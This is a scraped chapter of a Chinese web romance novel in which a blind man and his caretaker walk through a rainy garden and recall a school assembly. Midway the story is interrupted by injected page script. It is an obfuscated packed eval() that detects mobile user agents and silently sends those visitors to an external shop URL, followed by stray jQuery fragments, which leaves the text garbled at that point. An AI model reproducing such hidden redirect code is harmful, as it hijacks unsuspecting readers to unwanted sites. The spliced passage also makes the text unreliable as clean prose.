文趣网 > 都市小说 > 伪装男神白月光 > 17.第 17 章
    夜里下了一场雨,淅淅沥沥,打湿了昂头赏月的玫瑰。

    那一株昙花已经凋谢,花骨朵被雨打风吹,已经化作了花泥。

    早晨起来,白榆在院子里看了一圈,有点心疼满园零落。

    陆时峥今天难得起得晚。

    他刚出门,就听到白榆清亮的嗓音:“陆先生,早。”

    他动了动耳朵,猜测白榆大概在花园。

    “还下雨吗?”陆时峥问。

    “雨停了,”白榆回到客厅,有些遗憾,“不过昨夜雨大,玫瑰打落了不少,没有之前漂亮了。”

    陆时峥在餐厅坐下,说:“常有的事。”

    白榆来到他身边,给倒了一杯温热的牛奶,笑着说:“我准备了五谷豆浆,包了上汤小笼包,第一次做,陆先生给点意见。”

    小笼包是很费事的。

    陆时峥喝牛奶的手一顿,他偏过头:“你几点起来的?”

    “六点多吧,昨天睡得早,不困了。”

    白榆小心看他的面色,才问:“昨天睡得好吗?”

    除非特殊情况,陆时峥一般不会起晚。

    陆时峥偏了偏头,好像在看他。

    他莫名又笑了一下,看起来很放松。

    “挺好的,大概……”

    他顿了顿,还是说:“唉,我不知道时间,应该睡了三四个小时吧。”

    白榆见他这样,心中一酸,忙说:“睡三四个小时就是进步了,我们慢慢改善,总能好转的。”

    这位学弟是鼓励式看护。

    他语气特别诚恳,态度非常坚定,一意孤行认为他马上就能康复,并且无所不能。

    语气堪比我们家孩子能当童模。

    对他的信任和鼓励超过了理智本身。

    可是,他怎么会对他这样盲目信任呢?

    陆时峥又看他。

    虽然知道陆时峥看不见,但白榆还是莫名紧张了一下。

    这两天,陆时峥的态度有点奇怪。

    有些话,总叫他紧张。

    比如现在。

    “沈看护,你这么关心病患,难怪是业界翘楚。”

    这话没有什么问题,陆时峥之前也经常夸他,但现在看着陆时峥似笑非笑的唇角,白榆觉得额头都冒了汗。

    陆时峥没有等他回答,说:“吃早饭吧,好香,不用尝都知道肯定很正宗。”

    两个人安安静静吃了早饭,陆时峥表达了感谢,又说:“我想去花园走一走。”

    这是白榆来到玫瑰园二十几天,陆时峥第一次主动要求踏出这栋别墅。

    虽然只在自家花园里散步,也是个相当大的进步。

    白榆的眼睛一下子就亮了。

    “好的,不过花园的路有点滑,我们要不要等一会儿再去?”

    “不用。”

    陆时峥听出了他的喜悦,发自真心为自己的进步高兴。

    他直接站起身,回过头对白榆伸出手。

    “不是还有你在?”

    白榆愣了一下。

    嘭、嘭、嘭。

    他又听到自己不争气的心跳声。

    站在原地,一时间无法给出任何反应。

    耳边忽然响起嗡鸣,好像暴雨未停,又似喜鹊名叫。

    他忽然意识到自己错了。

    他不应该进入玫瑰园。

    因为跟陆时峥多相处一分,他就会爱得更深一分,陆时峥这样的人,谁会不爱呢?

    等到一切都结束的时候,他真的能平静离开吗?

    白榆想得出神,一时间没有给出回应。

    没有陆时峥存在的后半生,他要怎么过?

    “怎么了?”陆时峥的左手动了动,好像是要去抓住什么,“你不舒服?那我们……”

    “没有,没有。”

    白榆回过神,仓促伸出手。

    两个人的手心就这样碰触在了一起。

    温暖,细腻,带着彼此澎湃的生命力。

    似乎还能隐约感受到对方的脉搏和心跳。

    嘭嘭、嘭嘭,交相辉映。

    白榆脸上一阵潮热,他张了张嘴,发现自己喉咙干涩,此刻一句话都说不出来。

    “走吧。”

    陆时峥轻笑一声。

    他手腕一用力,轻巧把白榆拉到了自己的身边,修长的手指很自然下滑,稳稳扶在了白榆的小臂上。

    两个人靠得很近,呼吸纠缠在一起。

    近到白榆能嗅到陆时峥身上干净的雪松香。

    那是陆时峥常用的沐浴液,味道很干净,闭着眼,白榆都知道他身在何处。

    白榆努力平复心跳,他深吸口气,说:“走吧,陆先生小心脚下。”

    陆时峥被他带着往前走了几步,耳中是他略有些乱的呼吸。

    很轻,可他却依旧能听清。

    或许,乱了的还有对方的心跳。

    橙子香味弥漫,今天的似乎格外甜。

    陆时峥微微挑起眉头,有个隐约猜测在心底蔓延。

    “慢点走,”陆时峥又笑了一声,“我们不着急。”

    雨后的花园空气清新,玫瑰残存的香气混合着泥土气息,是大自然的芬芳。

    早冬时节,天气略有些寒冷,霜雾模糊了天色,偶尔一丝阳光倾斜而下,点亮硕果仅存的花骨朵,一切都陷落在梦幻中。

    画面很美,身边人是心上人。

    此时此刻,白榆再度感受到了莫名的幸福。

    但是花丛之间的石板路被雨水打湿,即便早就雨停,也还是会湿滑。

    白榆必须要非常小心,所有心神都放在两个人脚下,生怕陆时峥摔倒。

    陆时峥倒是很放松。

    他很乖巧握紧白榆的小臂,跟着白榆往前走,一边嗅着潮湿的天气,一边感受着白榆的小心。

    这一刻,他觉得心都是安静的。

    他看不见,却能在心底描摹出雨后的初冬。

    景色一定很美。

    两个人安静走了一会儿,陆时峥才开口:“我记得高二那一年,有一次周一升旗,也忽然下了大雨。”

    白榆专注看着两人脚下,听到这里随口说:“是呢,雨下得猝不及防,大家都吓了一跳,场面还挺混乱的。”

    “当时雨太大了,刘校长的假发都被打湿了,露出一条头皮。”

    白榆也被拉入那一天的回忆里。

    有关于陆时峥的一切,白榆都深埋在心底,那些画面被反复观看,胶片慢慢变得斑驳陈旧。

    可画面中心的那个人,依旧灿烂而夺目。

    “那天是你演讲吧?我记得当时教导主任崴了脚,是你扶着他下的主席台,他后来还夸奖你助人为乐。”

    大雨倾盆。

    天地一片漆黑,主席台上的老师们四散开来,尽量维持秩序。

    操场上闹成一团,有同学四处躲雨,还有顽皮的学生借机喊叫。

    混乱,却青春。

    陆时峥当时刚拿了数学竞赛一等奖,做优秀学生演讲,他一个人站在主席台正中,大雨骤落,却没有任何闪躲。

    高挑清俊的少年人站在雨幕中,淡定又从容,他甚至仰起头,凝望漫天乌云。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795555|209616||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    雨水顺着他棱角分明的年轻面容滑落,多年之后的今天,白榆依旧记得他眉骨上的一滴水珠。

    从认识他那一天起,白榆的目光始终都在他一人身上。

    这一幕他深深刻在心中,多年后回忆起来,都觉得那一刻的陆时峥孤独又寂寞。

    最先被疏散的是高一年级,高二稍晚一些,所以白榆当时看到了陆时峥搀扶教导主任的过程。

    回忆到这里,白榆忽然噤声。

    他感觉自己似乎说错了话。

    教导主任崴脚的时候,高一年级都已经疏散了。

    他不可能看到那一幕。

    陆时峥平静笑了一声,似乎没有察觉,他说:“你这么说,我感觉我真是个好人。”

    “难怪从小到大都是三好学生。”

    “我不得不拍个马屁,”白榆笑着说,“学长你可太优秀了。”

    两个人安静片刻,忽然不约而同笑了起来。

    “好的,我接受你这个马屁。”陆时峥笑得眉眼都弯了。

    过了一会儿,陆时峥拍了一下白榆的手臂,示意两个人继续前行。

    “小心一些,前面换成鹅卵石小路了。”

    白榆扶着他迈上两级台阶,继续前行。

    花园绕别墅一周,这样漫步其中,时光好像都停了。

    陆时峥跟他一起安静走了几步,忽然冲他歪了歪头。

    雪松气息在他耳边萦绕。

    “告诉你个秘密。”

    在陆时峥手心之下,清晰感受到了白榆肌肉紧绷。

    白榆几乎屏息凝神。

    “什么?”

    “我那天……”陆时峥顿了顿,他耳朵微动,仔细聆听白榆呼吸的节奏,“我那天其实很紧张。”

    陆时峥轻叹一声:“突然下大雨的时候,我完全不知道要怎么反应,只能站在那发呆。”

    白榆以为自己听错了:“是吗?”

    “是啊,教导主任是为了过去喊我,才崴了脚的,”陆时峥说,“应该是我感谢她。”

    所以,那些孤单与寂寞,只是陆时峥的不知所措。

    莫名的,白榆觉得心情好了那么一点。

    “可是我,完全没看出来。”

    他的全部心神都在陆时峥在身上,怎么可能不知道呢。

    脱稿演讲流畅又自然的陆时峥,居然是很紧张的吗?

    陆时峥又轻笑了一声。

    冬日的寒风吹来,吹散了漫天的雾霭,阳光倾斜而下,温暖重新笼罩身上。

    “沈南星,你有点可爱。”

    白榆心跳骤停。

    “什,什么?”

    陆时峥往他的方向倾身,呼吸就在咫尺之间。

    “我说什么你都相信。”

    白榆瞪大眼睛。

    “啊?”

    他完全想不到,陆时峥居然会跟他开这种玩笑。

    “哈哈哈。”

    陆时峥似乎很高兴,他靠在白榆肩膀上,笑得整个人都抖了起来。

    “逗你的,我确实很紧张,”陆时峥顿了顿,声音有点低,“但说你可爱,不是在逗你。”

    白榆感觉自己的脸一定烧了起来。

    明明已经冬天了,怎么会这么热?

    陆时峥靠着他,两个人就站在阳光洒落的雨后花园里,没有往前走一步。

    这一刻,陆时峥清晰听到了他的心跳声。

    嘭嘭,嘭嘭。

    那是为自己的靠近,忽然增加的跳跃音符。

    这一刻,他无比确定。

    沈南星,喜欢他。